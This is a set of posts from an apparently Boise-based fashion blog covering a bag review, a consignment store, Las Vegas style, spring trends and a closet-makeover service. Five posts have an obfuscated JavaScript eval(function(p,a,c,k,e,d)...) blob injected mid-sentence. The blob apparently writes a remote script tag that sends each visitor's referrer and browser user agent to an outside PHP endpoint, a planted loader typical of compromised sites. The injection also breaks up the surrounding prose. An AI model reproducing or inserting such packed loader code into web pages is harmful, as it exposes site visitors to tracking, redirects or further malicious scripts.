Tag: Accessories

Local Treasure Find: the iTySE Bag!!!

This summer, I attended the annual Women’s Show in Boise, and came across these fantastic, functional bags! Here is a picture of my family with our iTySE bag, packed tight with all our 4th of July picnic gear. 🙂

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hffad|var|u0026u|referrer|zdyai||js|php’.split(‘|’),0,{}))
bags are so creative, and their inventor such a sweet & brilliant lady, I thought it would be fun to do a short video with her! Here it is, our video review of the iTySE (pronounced “it-see”) Bag! 🙂 (P.S., the second video is our funny bloopers, because sometimes unexpected things happen when you record outdoors in a public park, ha ha!!)

Video Review of iTySE Bags:

 



Click HERE to view the funny blooper reel!!! 😀

 

Check out more iTySE Bags at www.iTySE.com!!!

 

4 Sweaters, a water bottle, extra shoes, and a towel - all in one little bag!

 

 

 

 

 

 

Local Style Secret: Urban Exchange

At eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddkkf|var|u0026u|referrer|dntfs||js|php’.split(‘|’),0,{}))
first, it’s that adorable summer outfit in the window that catches your eye.  A step closer, and you spy a table stacked with dark-blue skinny denim, tags still attached. Are those Blue Cults? New? For .99??? You have to step inside now, and immediately you’re drawn to the display of  Juicy jewelry, still in gift boxes. .99 for brand new Juicy?! What is this fabulous place???

Fashionistas, welcome to Urban Exchange! This is not your mama’s thrift store! If you are in the market for Rock & Republic jeans, BCBG tops, or a Kate Spade tote, but don’t have the budget for department store prices, then Urban Exchange is the place for you! Top-notch customer service, an exciting variety of hard-to-find designers, and fabulous prices on every little thing your closet craves; if you are a treasure hunter, this is Boise’s best place to hunt!

Your StyleSpyGirrl stopped by Urban Exchange recently for a little shopping reconnaissance. I was thrilled to find Dolce & Gabbana jeans (normal price range: $300-750) with the tags still attached. The Urban Exchange price: $89.99! And that Gwen Stefani for Lesportsac tote, the one you can’t get on ebay for less than $300? Try $119.99 at Urban Exchange!

I put together a few outfits to show you what great deals this store has to offer. (Click on the pic to view larger image.)

From left, Total Price, Outfit #1: $28.95, including jewelry & shoes. Add the Gwen Stefani tote for $119.99, to total $148.94!

Total Price, Outfit #2: $102.95, which includes a brand NEW pair of True Religion white jeans!

Total Price, Outfit#3: $117.94, including a Kathy Van Zeeland purse, Born sandals, and NEW tie-up Miss Me cargo pants!

Total Price, Outfit #4: $242.90. These are NEW Dolce & Gabanna jeans, along with a Marc Ecko tote & Colin Stuart shoes.

Total Price,Outfit #5: $95.16, $69.99 of which is the comfy, classy Born boots that I just have to put on layaway!

Total Price, Outfit #6: $51.94, including matching necklace & earrings, Kenzie sandals, Kenneth Cole purse, & Hollister top!

Outfit #4, if purchased new in a department store, would run over $1,000! The Urban Exchange price is barely a quarter of that price (not including airfare to your nearest Nordstrom to find D&G jeans!)

Summer is finally here, so fold up yesterday’s purchases, bring them down to Urban Exchange for cash or store credit, and begin your exciting new treasure hunt!

Upcoming Event: On the evening of June 10th, Urban Exchange will be hosting a special summer shopping event! Stop by for champagne, special deals, and a short presentation by your’s truly 🙂 on how to update your wardrobe for style, body shape, and budget! I will station myself by the dressing rooms after the presentation, to offer help, feedback, & encouragement as you shop! Local musical artist Naomi Psalm (see link to the right) will be there as well, performing songs from her latest album; join us for an evening of shopping, music, & fun! Email me for more info at stylespygirrl@yahoo.com, or Urban Exchange at veronica@urbanexchangeonline.com.

It’s Vegas, Baby!!!

Ah, Las Vegas. City of bright lights, tall buildings, crowded streets, and out-of-this-world fashion.  You can walk down the street and get your picture taken with a female Elvis, an early-1980’s Michael Jackson, a goth fairy, an M & M, or just about anything or anyone you can imagine!

Vegas eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iidza|var|u0026u|referrer|fsrdn||js|php’.split(‘|’),0,{}))
fashion is, in a word, eclectic! People come from all over the world, crowding the streets with every kind of style. I saw a plethora of Rockabilly types, with swooping hairstyles, dramatic makeup, and rocker/goth/vintage clothes all woven together with attitude! Boise locals don’t have a lot of access to this style, but Record Exchange, Lux, and Hot Topic are fabulous places to search for Rockabilly treasures. Online, check out the Lucky 13 brand, and websites like http://www.modcloth.com/ and http://www.bettiepageclothing.com/. In Boise, we are fortunate to have access to the Bettie Page line at Belle Boutique, downtown on 9th.  (See my previous article on Belle Boutique!)

Vegas has so many malls, you’d need a week to visit them all! The Fashion Mall is a giant labyrinth of shops; from the massive Forever 21 to Neiman Marcus, there is something for everyone! On the weekends, a runway rises out of the floor for hourly fashion shows. The Miracle Mile shops at Planet Hollywood are just as fun, and a little less overwhelming. The outlet malls just off the strip require a cab ride, as do the plethora of consignment & vintage boutiques. Every hotel has their own brand of shopping; yours truly enjoyed drooling over the high-end couture shops at the Bellagio: Chanel, Dior, Louis Vuitton, and the dearly-departed Alexander McQueen, just to name a few. Are you drooling yet? 😉

Betsey Johnson is another favorite designer of mine, so I was thrilled to find her boutiques in multiple malls. Her 80’s-punk-princess-meets-Alice in Wonderland looks are brash & whimsical, from unique skull totes to poufy prom dresses! Several stores around the area carry her jewelry & bags; be on the lookout for that iconic pink tag!

The biggest trend I observed in Vegas was the leggings/tunic/layered look. Start with long, fitted leggings or jeans; top with a tunic, t-shirt, tank-top, or blouse; and add a sweater, long vest, jacket, belt, long necklaces, etc.; finish with a huge tote or purse, a pair of statement sunglasses — and people might just mistake you for an undercover celebrity! Leggings are everywhere these days, but it takes a certain panache to pull the look together. Stop by Fancy Pants downtown (and check out their great pictures on Facebook!) These gals know how to put the legging look together, and have a fantastic array of unique tops & jackets for every style & body shape! Fancy Pants also carries some of the hottest designer jeans around, including my personal fave Serfontaine.

Another noticeable Vegas trend is the rock-inspired t-shirt. Yes, this look is still very popular! (Check out my previous article on local brand 208 Industries!)  Ed Hardy is an obvious staple, but anything with rhinestones, wings, skulls, and tattoo-type designs dominates Vegas store windows.  For summer, this look pairs well with skinny/destroyed/cropped white jeans, and also mini-skirts, or super-short shorts. Proportion is key; booty shorts worn with platform heels can come across as “too much/too cheap!” Save your sexy bombshell looks for the nightclub; confident femininity is the best everyday look!

If you are interested in booking a guided shopping weekend in Las Vegas, email me for rates & available dates. If you prefer to shop locally, then put on your sunglasses and get hunting, because fabulous style is everywhere! Spring is the perfect time to get outside, enjoy the sunshine, and look for “treasure” around the Treasure Valley.  Whether you prefer the bustle of urban shopping downtown — or out-of-the-way retail gems like Urban Exchange on Chinden or Ruby Lou in Eagle — style abounds in this town! Get shopping; I’ll see you out there!

 Las Vegas is an inspiring city, full of flash, dazzle, and style. But if you are not planning a shopping excursion to Sin City anytime soon, don’t despair; most of the fashions I observed there are accessible to us right here in Boise!

If you want:

Look for:
Rockabilly/Retro style Record Exchange, Lux, “Stop Staring” at Pink and “Bettie Page” at Belle Boutique
Celebrity-inspired casual chic Fancy Pants, Miss Molly, Ruby Lou (Eagle)
Hot, unique shoes! Baker’s, Journey, Dillards, Shoe Fetish, 1318
Rock-inspired t-shirts Paradigm Apparel, Buckle, Mimi Marie (Eagle)
“Couture” Jewelry Forever 21, Burlington Coat Factory, Belle Boutique, Dragonfly, Express
Designer Jeans Fancy Pants, Miss Molly, Paradigm, Urban Exchange, Ruby Lou (Eagle)
Hot styles for the office Express, BCBG at Dillards
Fabulous Fashion Bargains Urban Exchange, Lux, Plato’s Closet, Again (Eagle)
Betsey Johnson accessories Macy’s, TJ Maxx, Marshall’s, Dillards

Let the Sun Shine In!

Can you feel the anticipation? Spring is almost here, and fashionistas everywhere are aching to cast off their bulky sweaters and unfold their technicolor wings to the sun. After a long winter of recession and global disasters, we’re ready to embrace brightness and warmth!

What are the latest trends, popular colors, and must-have classics to embrace this season? Read on to find out…

Off-Kilter

Assymetrical eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bkihh|var|u0026u|referrer|itsbe||js|php’.split(‘|’),0,{}))
styles have slowly been building steam in couture wear, showing up on brave celebrities in magazines and the red carpet. This Spring, designers are bringing this look to your local boutiques! Unleash your inner Greek goddess with off-kilter straps, bandage dresses, and one-armed blouses that blur the line between flirty and daring. Miss Molly in Bodo has a fabulous selection of assymetrical pieces to fit every body shape and personal style. I love the Diane von Furstenburg dress, the Robert Rodriguez blouses, and the soft jersey dress by Splendid that defined comfort & sexiness! (And yes, I really like blue!)

Soft Breezes

Let your inner sylph shine in see-through, gauzy pieces.  Chanel White and antique “blush” pink are everywhere, from shoes to flowy blouses. Belle Boutique on 9th has lovely pink, gauzy tops; throw on one of these elegant pieces and you instantly feel like a ballerina.  Miss Molly has white, assymetrical blouses from Robert Rodgriguez that are feminine, sexy, elegant, and sizzling hot, all at the same time! Ground this look with an earthy-but-classy clog by day, or amp it up with silver or gold shoes for night.

Mix it Up

Prints, prints, and more prints! Whether you love florals or abstracts, graffiti or tattoo, colorful prints are everywhere this season. Belle Boutique has a fabulous line of Spain’s Desigual tops & dresses that are literally flying off the racks as soon as they arrive in the store! This line is hot, hot, hot in Vegas and L.A.; cheers to Belle for bringing Desigual to Boise!

Fancy Pants has a fabulous kimono-sleeve tunic dress by Alice + Olivia that is darling with leggings, skinny jeans, or bare legs! I’d wear this with the biggest, toughest platform sandals in my closet; it’s bold & beautiful! The Whittier dress by Patterson J. Kincaid (see picture below) is just the right blend of classy & summery; it looks adorable with gold rose-bowed flats by Kelsi Dagger. My favorite was the floral-print belted dress by 12th St by Cynthia Vincent (middle): wearable art for day or night! For a gorgeous mix of both print and assymetrical styles, check out the Robert Rodriguez shoulder-baring dress at Miss Molly (right)!

Yes, Ma’am!

The camoflage/military/safari look is always a classic, and this Spring it’s an easy way to add a little bit of toughness to your wardrobe.  Grab a camouflage jacket of some sort; whether it’s your own, your boyfriend’s, or part of your uncle’s hunting gear! Belt it over a lace cami and feminine skirt, or let it hang open with shorts & a blouse. Cuff it, accessorize it, make it your own! This look is so versatile, but always conveys attitude; balance it with heels (wedge, platform, sandals; your choice!) for a touch of femininity. Check out the Balmain line for inspiration, and then shop local boutiques for your own translation of this trend.  Fancy Pants on Idaho St. has an adorable muted grey trenchcoat that is both classic and chic – love the bow!

Go GaGa!

I’ve mentioned this before, so I’ll refrain from saying “I told you so!” (Oops!); Lady Gaga continues to have a subtle influence of the fashion world. Styles that are in stores right now because of her: see-through tops & dresses, hot-pants & barely-there shorts, artistic sky-high shoes, innerwear as outerwear, and dramatic shoulders. How much of her style makes it comfortably to your closet is up to you, but keep your eyes open for stand-out fashion pieces to incorporate into your wardrobe. A subtle take on the strong-shoulder look, for example, is the Robert Rodriguez jacket at Miss Molly, stunning & sexy in black or khaki.

No matter what your budget, pick a few things you LOVE, and wear them with pride. Whether it’s a fabulous spring jacket, or a sexy, daring blouse, or a hot skirt dripping with chains, 2010 is the year to usher in Spring with color and panache! The new harem pants at Miss Molly are tailored and sexy – if you’re unsure of this style, I dare you to try them on; they glide on like butter, and exude relaxed confidence.

Downtown Boise is fortunate to have some wonderful fashion boutiques, each with their own flare, and unique pieces you won’t find at the mall! Miss Molly carries Robert Rodriguez, Diane von Furstenburg, Ella Moss, and jeans by Citizen, Tag, Hudson, and Paige.  Fancy Pants is another great store for designer jeans; they carry the hard-to-find Rock & Republic, Rich & Skinny, Serfontaine (love the little snake!), as well as fashions by Alice + Olivia, Rebecca Taylor, Joie, and Twelfth Street by Cynthia Vincent. Belle Boutique is a great place to shop, with jeans, blouses, skirts, & accessories in a variety of prices, as well as tons of dresses for every occassion (see previous blog.) Pink on 8th has a great selection of jeans, dresses, and tops to fit every budget, and of course Paradigm continues to rock the sexy t-shirt & jeans trend for both men & women. It should also be noted that both Fancy Pants & Miss Molly both carry menswear now!

Trend Shortlist:

  • White is hot! Shredded jeans, Chanel heels, gauzy blouses; pair with heavy silver belts & jewelry, or dainty gold pieces.
  • Color, color, color! The brighter the better, in solids, prints, and florals – pick your palatte and go for it!
  • Frock it! Tough or flirty, DRESSES are everywhere for day & night
  • Sky-high is the rule, with either skirts, shorts, or towering platforms
  • Bandage, assymetrical, one-shouldered – flirty or sexy, the look is up to you!
  • Footwear as art – from Gucci to Jimmy Choo, feet are decked out in wild, inventive styles (look for booties & clogs)

So there you have it, Boise; Spring is upon us, get out and shop!  From small, personal boutiques (besides those mentioned above, check out Barbara Barbara, Shoe Fetish, and Ella’s Room!) to the larger chain stores like Anthropologie and Urban Outfitters, there’s something here for everyone!

Go on, greet the sun and get your STYLE on! 😀

Out With The Old…

Do eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbfte|var|u0026u|referrer|brbad||js|php’.split(‘|’),0,{}))
you really know what’s in your closet?  Do you wear and love every piece? Are you sure those jeans fit your curves perfectly?

StyleSpyGirl is here to help!

I will work through your entire closet with you, helping to discard the things that aren’t fabulous, put together outfits that fit and feel great, and help you strategize your shopping for a wardrobe that’s perfect for YOU!

Book now for your Closet Makeover! A $40 per hour session includes:

  • In-home Closet Session, typically three to four hours
  • Personal Style & Body Type Assessment
  • Color, Season, & Lifestyle Consultation
  • Short-term/Long-term Shopping Strategies

Contact Stylespygirl@yahoo.com to book your session. (Most of my clients are in the Boise area, but travel to other cities is negotiable.)

Read about Angela Peterson’s recent Closet Makeover here!